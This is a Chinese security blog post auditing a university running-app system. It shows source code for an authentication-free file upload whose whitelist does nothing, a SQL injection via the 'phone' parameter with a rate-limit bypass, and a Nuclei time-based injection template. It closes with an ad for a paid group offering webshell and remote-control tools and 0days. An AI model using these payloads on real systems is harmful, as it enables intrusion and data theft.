文章总结： 该文档针对某高校乐跑通用系统进行代码审计，揭示了前台文件上传与SQL注入两大漏洞。上传功能因类属性缺失致白名单失效且缺乏鉴权，SQL注入则因参数拼接引发，需绕过缓存限制。作者给出了漏洞复现条件与Nuclei验证POC，具有较高实战价值，文末附带安全社群推广信息。
综合评分： 82
文章分类： 代码审计,漏洞分析,WEB安全,漏洞POC

某高校乐跑通用系统代码审计

原创

zyxa
zyxa

众亦信安

2026年3月9日 11:20
湖南

声明：文中涉及到的技术和工具，仅供学习使用，禁止从事任何非法活动，如因此造成的直接或间接损失，均由使用者自行承担责任。

众亦信安，中意你啊！

温馨提示：当前公众号推送机制调整，仅常读及星标账号可展示大图推送。建议各位将众亦信安团队设为“星标“，以便及时接收我们的最新内容与技术分享。

前台文件上传

路径：/Application/Admin/Controller/UploadController.class.php

这里继承了Common控制器下的upload控制器未继承Base控制器这里没有对权限进行校验追溯到父类看看下的方法父类下有一个uploadImg方法

public function uploadImg() {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$upload&nbsp;= new UploadFile();&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$upload->maxSize =&nbsp;3145728;&nbsp;//&nbsp;设置附件上传大小&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$upload->exts = array('jpg',&nbsp;'gif',&nbsp;'png',&nbsp;'jpeg');&nbsp;//&nbsp;设置附件上传类型&nbsp; &nbsp; &nbsp; &nbsp; //没有的文件夹新建，要一层一层的建立&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$path&nbsp;=&nbsp;'./Public/Upload/pic/';&nbsp; &nbsp; &nbsp; &nbsp; !is_dir($path) &&&nbsp;mkdir($path,&nbsp;0777);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$path.=$this->_dir .&nbsp;'/';&nbsp; &nbsp; &nbsp; &nbsp; !is_dir($path) &&&nbsp;mkdir($path,&nbsp;0777);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$path.=date('Y-m-d') .&nbsp;'/';&nbsp; &nbsp; &nbsp; &nbsp; !is_dir($path) &&&nbsp;mkdir($path,&nbsp;0777);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$upload->savePath =&nbsp;$path;&nbsp;//&nbsp;上传目录
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$savepath&nbsp;=&nbsp;$this->_dir .&nbsp;'/'&nbsp;. date('Y-m-d') .&nbsp;'/';&nbsp;//存储路径
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$upload->saveRule =&nbsp;'uniqid';&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$upload->thumb = true;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$upload->thumbMaxWidth =&nbsp;$this->width;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$upload->thumbMaxHeight =&nbsp;$this->height;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$upload->uploadReplace = true;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$upload->thumbPrefix =&nbsp;'thumb_';&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$upload->thumbRemoveOrigin = false;&nbsp;//删除原图吗?&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$info&nbsp;=&nbsp;$upload->upload();&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(!$info) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; echo json_encode(array('status'&nbsp;=>&nbsp;0,&nbsp;'info'&nbsp;=>&nbsp;$upload->getErrorMsg()));&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{//&nbsp;上传成功 获取上传文件信息&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$imgs&nbsp;=&nbsp;$upload->getUploadFileInfo();&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;//$data['mod'] =&nbsp;$this->_dir;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$data['src'] =&nbsp;$savepath&nbsp;.&nbsp;$imgs[0]['savename'];&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$data['thumb'] =&nbsp;$savepath&nbsp;.&nbsp;'thumb_'&nbsp;.&nbsp;$imgs[0]['savename'];&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$data['create_time'] = date('Y-m-d H:i:s',&nbsp;time());&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;//$data['ext'] =&nbsp;$imgs[0]['extension'];&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;//$data['size'] =&nbsp;$imgs[0]['size'];&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;//$Image&nbsp;= getimagesize($path&nbsp;.&nbsp;$imgs[0]['savename']);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;//$data['width'] =&nbsp;$Image[0];&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;//$data['height'] =&nbsp;$Image[1];&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;//$data['isdel'] =&nbsp;0;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$model&nbsp;= M('img_attach');&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$id&nbsp;=&nbsp;$model->add($data);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;//同时上传一份到阿里云上&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; oss_upload("./Public/Upload/pic/".$data['src']);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;//&nbsp;oss_upload("./Public/Upload/pic/".$data['thumb']);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; echo json_encode(&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; array(&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'status'&nbsp;=>&nbsp;1,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'id'&nbsp;=>&nbsp;$id,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'savepath'&nbsp;=>&nbsp;'/Upload/pic/'&nbsp;.&nbsp;$savepath,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'savename'&nbsp;=>&nbsp;$imgs[0]['savename'],&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'type'&nbsp;=>&nbsp;1,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; )&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; );&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }

可以看到先初始化了UploadFile()$upload = new UploadFile();然后传入文件大小和ext到UploadFIle类中

&nbsp;$upload->maxSize =&nbsp;3145728;&nbsp;// 设置附件上传大小&nbsp;$upload->exts =&nbsp;array('jpg',&nbsp;'gif',&nbsp;'png',&nbsp;'jpeg');&nbsp;// 设置附件上传类型

但是UploadFile类中并无ext参数所以这个白名单是废的然后再调用UploadFile类中的upload1方法进行上传

前台sql注入

public&nbsp;function&nbsp;detail()&nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; C('LAYOUT_ON',&nbsp;false);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(IS_POST) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$userAppealModel&nbsp;= new UserAppealModel();&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$check&nbsp;=&nbsp;$this->checkCode();&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$phone&nbsp;= I('post.phone');&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$phoneKey&nbsp;=&nbsp;'appeal_detail_'&nbsp;.&nbsp;$phone;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$sessionKey&nbsp;=&nbsp;'appeal_'&nbsp;. cookie('PHPSESSID');&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$redis&nbsp;= newRedis();&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$listJson&nbsp;=&nbsp;$redis->get($phoneKey);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$count&nbsp;=&nbsp;$redis->incr($sessionKey);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;($count&nbsp;> 10) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; debJson(["ServerNo"&nbsp;=> 400,&nbsp;"ServerMsg"&nbsp;=>&nbsp;"亲，请稍后再试，不要频繁查询~"]);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(!$check) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; debJson(["ServerNo"&nbsp;=> 400,&nbsp;"ServerMsg"&nbsp;=>&nbsp;"验证码错误!"]);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(!$phone) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; debJson(["ServerNo"&nbsp;=> 400,&nbsp;"ServerMsg"&nbsp;=>&nbsp;"手机号错误!"]);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(!$listJson) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$list&nbsp;=&nbsp;$userAppealModel->where('phone='&nbsp;.&nbsp;$phone)->order('update_time desc')->select();&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(!$list) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$list&nbsp;= [];&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; foreach ($list&nbsp;as &$appeal) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;($appeal['status'] == 1) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$appeal['update_time'] =&nbsp;'预计'&nbsp;.&nbsp;date("Y-m-d", strtotime("+2 day", strtotime($appeal['update_time']))) .&nbsp;'处理';&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$appeal['status_desc'] =&nbsp;$userAppealModel::$statusArr[$appeal['status']];&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$appeal['type_desc'] =&nbsp;$userAppealModel::$typeArr[$appeal['type']];&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;($appeal['type'] == 3) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$appeal['invalid_type_desc'] =&nbsp;$userAppealModel::$invalidTypeArr[$appeal['invalid_type']];&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$listJson&nbsp;= json_encode($list);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$redis->set($phoneKey,&nbsp;$listJson, 60 * 10);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$redis->expire($sessionKey, 60 * 10);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; debJson(["ServerNo"&nbsp;=> 200,&nbsp;"ServerMsg"&nbsp;=>&nbsp;$listJson]);&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$this->assign('table_show', 0);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$this->assign('release_data',&nbsp;$this->release_check());&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;$this->display();&nbsp; &nbsp; }

这里主要注意三个变量

$phone&nbsp;= I('post.phone');$phoneKey&nbsp;=&nbsp;'appeal_detail_'&nbsp;.&nbsp;$phone;$sessionKey&nbsp;=&nbsp;'appeal_'&nbsp;. cookie('PHPSESSID');

从post中去phone参数赋值给变量phone，$phoneKey为appeal_detail_拼接变量phone，$sessionKey为appeal_拼接cookie中PHPSESSID的值

这里要注意的是他这里count变量用了redis存缓存来防止数据提交过多然后如果count小于10 则进入if(!$listJson)判断，而listJson的值为从redis中取键名为变量phoneKey的值如果为null则走入下面的where方法(TP自带方法)，可以看到phone的值有变量$phone变量直接拼接而成所以这里注入我们需要满足几个条件：

绕过count (随机PHPSESSID值)
listJson需要为空(随机手机号)

即可进行注入

id: Lepao-Manager-Sql-Boolinfo:&nbsp; name: Lepao-Manager-Sql-Bool&nbsp; author: xxx&nbsp; severity: info&nbsp; description: description&nbsp; reference:&nbsp; tags: tagsvariables:&nbsp; a:&nbsp;'{{rand_int(100, 999)}}'&nbsp; b:&nbsp;'{{rand_int(100, 999)}}'requests:&nbsp; - raw:&nbsp; &nbsp; &nbsp; - |&nbsp; &nbsp; &nbsp; &nbsp; @timeout: 10s&nbsp; &nbsp; &nbsp; &nbsp; POST /bdtm_school_admin/index.php/User/detail HTTP/2&nbsp; &nbsp; &nbsp; &nbsp; Host: {{Hostname}}&nbsp; &nbsp; &nbsp; &nbsp; Cookie: PHPSESSID={{a}}&nbsp; &nbsp; &nbsp; &nbsp; Content-Type: application/x-www-form-urlencoded&nbsp; &nbsp; &nbsp; &nbsp; Content-Length: 21
&nbsp; &nbsp; &nbsp; &nbsp; phone={{b}}||sleep(3)
&nbsp; &nbsp; matchers-condition: and&nbsp; &nbsp; matchers:&nbsp; &nbsp; &nbsp; -&nbsp;type: dsl&nbsp; &nbsp; &nbsp; &nbsp; dsl:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; -&nbsp;'duration>=3'&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; -&nbsp;'status_code == 200'&nbsp; &nbsp; &nbsp; &nbsp; condition: and

tips：

圈子专注于渗透测试、漏洞挖掘、免杀对抗、逆向分析四大核心方向，同时提供各类实战工具、0day 情报与长期更新的技术资源。目前已更新包括 suo5 二开（含流量修改及客户端工具）、哥斯拉特战版二开（持续维护）、以及 0day 披露等内容。

未来还将陆续上线自研 webshell 管理工具、CS 远控定制版本、内网漏洞批量检测工具（fscan 二开 web 界面）、src 与 edu 高赏金积分报告（脱敏）、以及历年 hw 实战案例复盘等深度内容，致力于打造一个真正能提升技术、辅助实战的高质量交流圈。

目前定价 129 / 年，前 30 名入圈师傅可享 85 折优惠，欢迎各位热爱技术的师傅加入，一起交流、一起进步。

盒子

携程

小红书总榜第二第三

攻防

往这里看

点点关注不迷路，不定时持续分享各种干货。可关注公众号回复”进群”，也可添加管理微信拉你入群。

项目交流，src/众测挖掘，重大节日保障，攻防均可联系海哥微信。

入了小圈的朋友联系海哥进内部交流群。

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：众亦信安 zyxa
zyxa《某高校乐跑通用系统代码审计》

Tags: WEB安全代码审计漏洞POC 漏洞分析

你可能错过

10月17日专题会议：数据安全防护与治理前沿学术会议

【漏洞通告】Cisco ISE远程代码执行漏洞（CVE-2026-20211)

2026年人工智能大模型安全众测结果发布

【漏洞通告】Cisco ISE远程代码执行漏洞（CVE-2026-20211)